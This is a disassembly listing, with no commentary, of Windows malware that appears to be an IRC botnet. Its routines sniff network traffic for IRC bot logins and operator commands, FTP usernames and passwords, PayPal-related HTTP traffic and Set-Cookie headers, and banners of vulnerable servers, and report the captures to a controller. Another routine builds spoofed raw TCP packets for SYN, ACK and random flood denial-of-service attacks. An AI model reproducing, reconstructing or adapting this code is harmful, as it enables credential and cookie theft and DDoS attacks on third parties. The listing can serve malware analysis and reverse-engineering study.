		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2700000h
		nop


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2700000h
		nop


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 8DE80000h, 900229D6h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27D0580h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27D0265h
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27D0265h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22EC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
		dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C5E89057h, 8D022EC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 0C45EE890h, 106A022Eh, 57E4458Dh,	83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E74005C6h
		dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
		dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
		dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
